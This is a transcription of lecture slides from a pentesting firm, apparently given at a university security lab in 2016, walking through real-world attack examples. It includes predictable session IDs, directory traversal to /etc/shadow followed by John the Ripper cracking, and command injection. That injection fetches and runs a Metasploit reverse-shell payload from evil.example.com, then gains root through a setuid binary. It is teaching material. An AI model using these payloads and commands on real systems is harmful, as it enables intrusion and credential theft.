Penetration Tester - Click Monkey or Creative Hacker

Transcription

PenetrationTester
—
ClickMonkeyorCreativeHacker?
SebastianChrobak-RedTeamPentestingGmbH
sebastian.chrobak@redteam-pentesting.de
https://www.redteam-pentesting.de/
SecurityLab2016
ResearchGroupIT-Security-RWTHAachenUniversity
10May2016
Dates&Facts
Foundedin2004atRWTHAachen
11penetrationtesters,
always3inateam
Conductingpenetrationtests
worldwide
ITSecurityResearch
Specialisedexclusivelyonpenetrationtests
→Attackinganetworkorproductwiththeowner’s
consent
Whatisapentest?
WaytotestthesecurityofanITsystem
Conductingacontrolledattack
Offensivetechniquestodiscoverrealvulnerabilities
→Slipintotheroleofarealattacker
Whatisapentest?
Whatisapentest?
Whatcanbetested?
Today,nearlyeverything!
Whatcanbetested?
Today,nearlyeverything!
Webapplications,Apps
(Internal)companynetworks
...andwhatelse?
Homeautomationsystems
Technicaldeviceseveryoneknows/has
What'suptoday?
Howtoapproachobjectivestobetested?
Howtoidentifyvulnerabilities?
Whichtoolscanbeusedtoexploitthem?
Whataretheimpacts?
→Basedonreal-worldexamples!
RandomsessionIDs
RandomsessionIDs
RandomsessionIDsofawebsite
TvWjLeJjGhPvAhJjNgBuPiFkRqJmHOL
RandomsessionIDs
RandomsessionIDsofawebsite
TvWjLeJjGhPvAhJjNgBuPiFkRqJmHOL
Orjustrandomatfirstglance?
TvWjLeJjGhPvAhJjNgBuPiFkRrJmHOL
TvWjLeJjGhPvAhJjNgBuPiFkRsJmHOL
TvWjLeJjGhPvAhJjNgBuPiFkRtJmHOL
Howmuchrandomnessisreallyinthere?
Everysecondcharacterisuppercase
Everysecondcharacterisuppercase
OnlyonecharacterchangedforthreesessionIDs
RequestsfromdifferentIPaddresses
From192.168.1.23:
From192.168.1.23:
From10.100.1.42:
TvWjLdBhGbHvAhJlMgBuPiFkRtJmHOL
Reversingtherandomness
"Secret"key:dahfbhvagjhk
192.168.1.23=192168001023
dahfbhvagjhk
192168001023
-----------ejjghpvahjjn=eJjGhPvAhJjN
Reversingtherandomness
"Secret"key:dahfbhvagjhk
192.168.1.23=192168001023
dahfbhvagjhk
192168001023
-----------ejjghpvahjjn=eJjGhPvAhJjN
Summary
NorandomsessionIDsaregenerated
SessionIDsderivablefromIPaddress
→Accessapplicationonbehalfofotherusers
Summary
NorandomsessionIDsaregenerated
SessionIDsderivablefromIPaddress
→Accessapplicationonbehalfofotherusers
Imageretrievalsystem
<imgsrc="/medias/image.jpg?context=bWFzdGVyfHJvb3R8MTIzNDV8aW1
hZ2UvanBlZ3w3NDE1Njg3MzYxMTcyLmpwZ3xlM2IwYzQ0Mjk4ZmMxYzE0OWFmYm
Y0Yzg5OTZmYjkyNDI3YWU0MWU0NjQ5YjkzNGNhNDk1OTkxYjc4NTJiODU1"
alt="[...]"width="200"/>
<imgsrc="/medias/image.jpg?context=bWFzdGVyfHJvb3R8MTIzNDV8aW1
hZ2UvanBlZ3w3NDE1Njg3MzYxMTcyLmpwZ3xlM2IwYzQ0Mjk4ZmMxYzE0OWFmYm
Y0Yzg5OTZmYjkyNDI3YWU0MWU0NjQ5YjkzNGNhNDk1OTkxYjc4NTJiODU1"
alt="[...]"width="200"/>
<imgsrc="/medias/redteam.jpg?context=bWFzdGVyfHJvb3R8MTIzNDV
8aW1hZ2UvanBlZ3w3NDE1Njg3MzYxMTcyLmpwZ3xlM2IwYzQ0Mjk4ZmMxYzE0OW
FmYmY0Yzg5OTZmYjkyNDI3YWU0MWU0NjQ5YjkzNGNhNDk1OTkxYjc4NTJiODU1"
alt="[...]"width="200"/>
alt="[...]"width="200"/>
alt="[...]"width="200"/>
→Imageremainsthesame
Wait,what'sthatURLparameterfor?
alt="[...]"width="200"/>
alt="[...]"width="200"/>
Maybeitisbase64encoded?
alt="[...]"width="200"/>
Maybeitisbase64encoded?
$echo-n"bWFzdGVyfHJvb3R8MTIzNDV8aW1hZ2UvanBlZ3w3NDE1Njg3MzY\
xMTcyLmpwZ3xlM2IwYzQ0Mjk4ZmMxYzE0OWFmYmY0Yzg5OTZmYjkyNDI3YWU0M\
WU0NjQ5YjkzNGNhNDk1OTkxYjc4NTJiODU1"|base64-d
master|root|12345|image/jpeg|7415687361172.jpg|e3b0c44298
fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
SHA-256hash,referenceparticularversion
Canbereplacedbyadash("-")togetlatestversion
Canbereplacedbyadash("-")togetlatestversion
master|root|12345|image/jpeg|7415687361172.jpg|-
Changingthefilename
$echo-n"master|root|12345|text/plain|\
../../../../../../etc/passwd|-"|base64-w0
bWFzdGVyfHJvb3R8MTIzNDV8dGV4dC9wbGFpbnwuLi8uLi8uLi8uLi8u
Li8uLi9ldGMvcGFzc3dkfC0=
Changingthefilename&accessingarbitraryfiles
$curlhttp://www.example.com/medias/redteam?context=bWFzd\
GVyfHJvb3R8MTIzNDV8dGV4dC9wbGFpbnwuLi8uLi8uLi8uLi8uLi8uLi9\
ldGMvcGFzc3dkfC0
Changingthefilename&accessingarbitraryfiles
ldGMvcGFzc3dkfC0
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
[...]
Whatabout/etc/shadow?
Whatabout/etc/shadow?
ldGMvc2hhZG93fC0
root:$6$XHxtN5iB$5WOyg3gGfzr9QHPLo.7z0XIQIzEW6Q3/K7iipxG7ue04CmelkjC51SndpOcQlxTHmW4/AKKsKew4f3cb/.BK8/:16828:0:99999:
[...]
seclab:$6$FSsCdMlf$.pdmpRa2bmK8CwHQQCIFeRgXNsPTUKgyufj/oEuQgp2RDX7kVUCuSp2onAKIowD81.bCCJcnSxgCb5i175auR1:16929:0:9999
itsec:$6$yAmpH0iz$tGOj0CvjHj2GsGltVO.NTddl4.kLeg3fihD8csjhmzQLxmqFXnwbm.hLmLIaa8ZmoszRpFVV.ggFQGhvw8LVO.:16929:0:99999
CrackingthepasswordswithJohntheRipper
$catusers
root:$6$XHxtN5iB$5WOyg3gGfzr9QHPLo.7z0XIQIzEW6Q3/K7iipxG7ue04CmelkjC51SndpOcQlxTHmW4/AKKsKew4f3cb/.BK8/
seclab:$6$FSsCdMlf$.pdmpRa2bmK8CwHQQCIFeRgXNsPTUKgyufj/oEuQgp2RDX7kVUCuSp2onAKIowD81.bCCJcnSxgCb5i175auR1
itsec:$6$yAmpH0iz$tGOj0CvjHj2GsGltVO.NTddl4.kLeg3fihD8csjhmzQLxmqFXnwbm.hLmLIaa8ZmoszRpFVV.ggFQGhvw8LVO.
CrackingthepasswordswithJohntheRipper
$johnusers
[...]
Loaded3passwordhasheswith3differentsalts
(sha512crypt,crypt(3)$6$[SHA512128/128AVX2x])
seclab(seclab)
toor(root)
2g0:00:00:020.45%2/3(ETA:08:17:06)0.7905g/s641.5p/s
642.6c/s642.6C/sbigdog..daisy
Trytheharderoneusingapasswordlist
$johnusers--wordlist=top50000.pwd
[...]
Remaining1passwordhash
secret123(itsec)
1g0:00:00:23DONE(2016-05-0808:10)0.04237g/s718.6p/s
718.6c/s718.6C/sswitchfoot..clarinet1
Sessioncompleted
Summary
ContentofURLparametercontextisnotverified
Thefileparameterisvulnerabletodirectorytraversal
→Retrievearbitraryfilesfromtheserver'sfilesystem
Summary
Webserverisstartedasprivilegeduser(/etc/shadow)
UsingJohntheRippertocracktheusers'passwords
(thepasswordswereweak!)
Summary
Webserverisstartedasprivilegeduser(/etc/shadow)
UsingJohntheRippertocracktheusers'passwords
(thepasswordswereweak!)
Real-worldexample?
Real-worldexample,really?
Real-worldexample?
ArbitraryfiledisclosureinSAPhybrisCommerceSoftwareSuitemightdisclosee.g.
creditcarddata
Moredetails:
https://www.redteam-pentesting.de/advisories/rt-sa-2014-016
Backendloginform
Administrativebackendloginform
Backendloginform
Weakdefaultcredentials
admin:admin
Backendloginform
admin:admin
Specialcharacters
;,'"/%(
Backendloginform
admin:admin
Specialcharacters
;,'"/%(
→Commandinjection?
Verifycommandinjectionvulnerability
Showfolderlisting
;ls;
Verifycommandinjectionvulnerability
Showfolderlisting
;ls;
Printsysteminformation
;uname-a;
Whathappensinthebackground?
<?php
$login_res=shell_exec(
'bashcheck_password.sh'.$_POST['user'].''.$_POST['pass']
);
?>
<?php
'bashcheck_password.sh'.$_POST['user'].''.$_POST['pass']
);
?>
'bashcheck_password.shadmin;ls;password'
);
Therearesomeconstraints...
Incomingconnectionsonlyacceptedonport80
Port80alreadyblockedbythewebserver
Don'treinventthewheel
Don'treinventthewheel
CreateaconnectbackshellusingMetasploitFramework
$msfvenom-plinux/x86/meterpreter/reverse_tcp\
LHOST=6.6.6.6-felf-ometerpreter
Noplatformwasselected,choosingMsf::Module::Platform::Linuxfromthepayload
NoArchselected,selectingArch:x86fromthepayload
Noencoderorbadcharsspecified,outputtingrawpayload
Payloadsize:71bytes
Savedas:meterpreter
UsingMetasploitFramework
Startingmsfconsoleonattackerhost
$./msfconsole
msf>useexploit/multi/handler
msfexploit(handler)>setpayloadlinux/x86/meterpreter/reverse_tcp
[...]
msfexploit(handler)>exploit
[*]StartedreverseTCPhandleron0.0.0.0:4444
[*]Startingthepayloadhandler...
Usethecommandinjectionvulnerability:
wgethttp://evil.example.com\
/meterpreter
chmod+xmeterpreter
./meterpreter
[*]Transmittingintermediatestagerforover-sizedstage...
[*]Meterpretersession1opened(6.6.6.6:4444->8.8.8.8:58508)
at2016-05-0810:30:53-0400
meterpreter>shell
Process6664created.
Channel1created.
$id
uid=33(www-data)gid=33(www-data)groups=33(www-data)
Howtoexpandprivileges?
Lookforexecutableswithsetuidbit
("setuserIDuponexecution")
→Runexecutablewithpermissionsoffile'sowner
$find.-userroot-perm-4000-execls-al{}\;
-rwsr-xr-x1rootroot8008May810:48/usr/local/check_update
$find.-userroot-perm-4000-execls-al{}\;
-rwsr-xr-x1rootroot8008May810:48/usr/local/check_update
Sadly,it'snotworld-writable
AnalysingexecutablesusingIDAmulti-processordisassembler
Finally:rootaccess
$PROG=id/usr/local/check_update
Willexecuteid.
uid=1000(seclab)gid=1001(seclab)euid=0(root)groups=1001(seclab)
Summary
User-providedinputisnotescaped
Dangeroussetuidexecutablefound
→Commandexecutionwithrootprivileges
→Fullcompromiseofthesystem
Endangersallconnected(internal)systems
Summary
User-providedinputisnotescaped
Dangeroussetuidexecutablefound
→Commandexecutionwithrootprivileges
→Fullcompromiseofthesystem
Endangersallconnected(internal)systems
Whataretheusualsuspects?
Defaultpasswords
admin:admin,root:root
Broken(management)webapps(WiFirouter,
switches,CIserver)
Outdatedsoftware
(e.g.win2000)
FilesonSMBsharesaccessible:
"passwordlist2016.xlsx"
"passwordforpasswordlist.txt"
Missing/Brokenauthorisation
Certificateverificationfailures
curl_opt_VERIFY_CERT=0
Homebrewtrustmanagers
Moreexamplesonourwebsite
o2/TelefonicaGermany:
ACSDisclosesVoIP/SIPCredentials
AVMFRITZ!Box:
RemoteCodeExecutionviaBufferOverflow
UnauthenticatedRemoteCodeExecutioninIBMEndpointManagerMobileDevice
ManagementComponents
EntryPassN5200CredentialsDisclosure
https://www.redteam-pentesting.de/advisories/
Whatdoesapentester'sdaylooklike?
Regularusageofthesoftware:
Understandtheapplication'sfunctionalityandbehaviour
→Basisforanyfurtherexploitation
Provokeerrors,watchforanomalies
Regularusageofthesoftware:
Understandtheapplication'sfunctionalityandbehaviour
→Basisforanyfurtherexploitation
Provokeerrors,watchforanomalies
Uncoverwhat'shappeninginthebackground:
Analysethecommunication,understandhowservicesplaytogether
Identifyweaknessesandexploitvulnerabilities
Manipulateparameters
Insertunexpectedvalues
Changeperspectives
Becreative,usefunctionsdifferently!
Changeperspectives
Documentation
About30%ofthetimeofapentest
Changeperspectives
Documentation
About30%ofthetimeofapentest
FinalMeeting
Discussionofvulnerabilities
Livedemo
Butwait,aren'ttheretoolstodothis?
Butwait,aren'ttheretoolstodothis?
Toolscannotfindnon-obviousvulnerabilities
Especiallynottheinterestingones!
Pentestingishandwork!
Buttoolseasetheexploitation
Knowyourtoolboxandpicktherightone!
Thisistheend.
Thankyouforlistening!
Anyquestions?
Thisistheend.
Thankyouforlistening!
Anyquestions?
Next:Opendiscussionround!

Penetration Tester - Click Monkey or Creative Hacker

Transcription

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